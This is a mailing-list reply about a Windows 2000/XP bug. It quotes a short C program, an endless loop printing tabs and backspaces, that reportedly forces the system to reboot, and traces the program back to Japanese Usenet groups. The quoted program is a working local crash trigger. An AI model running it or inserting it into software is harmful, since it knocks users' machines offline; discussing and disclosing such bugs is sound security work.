Re: weird Windows 2000/XP bug

[IIJIMA Hiromitsu <delmonta () ht sakura ne jp>]

> Some guys arround here are having fun with a little C program which causes
> Windows200/XP to reboot:
>
> #include <stdio.h>
>
> int main(void)
> {
>    while (1)
>       printf("\t\t\b\b\b\b\b\b");
>    return 0;
> }
>
> I don't know exactly where it was first seen, and who discovered it; just
> thought to forward it here maybe others have insights.

Originally it was posted to USENET in Japanese: the original groups are
        fj.os.ms-windows.programming and japan.comp.lang.visual-c++.

The original poster then posted English translation into English newsgroups,
it was forwarded by some people to SecurityFocus mailing lists.

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IIJIMA Hiromitsu, aka Delmonta           mailto:delmonta () ht sakura ne jp
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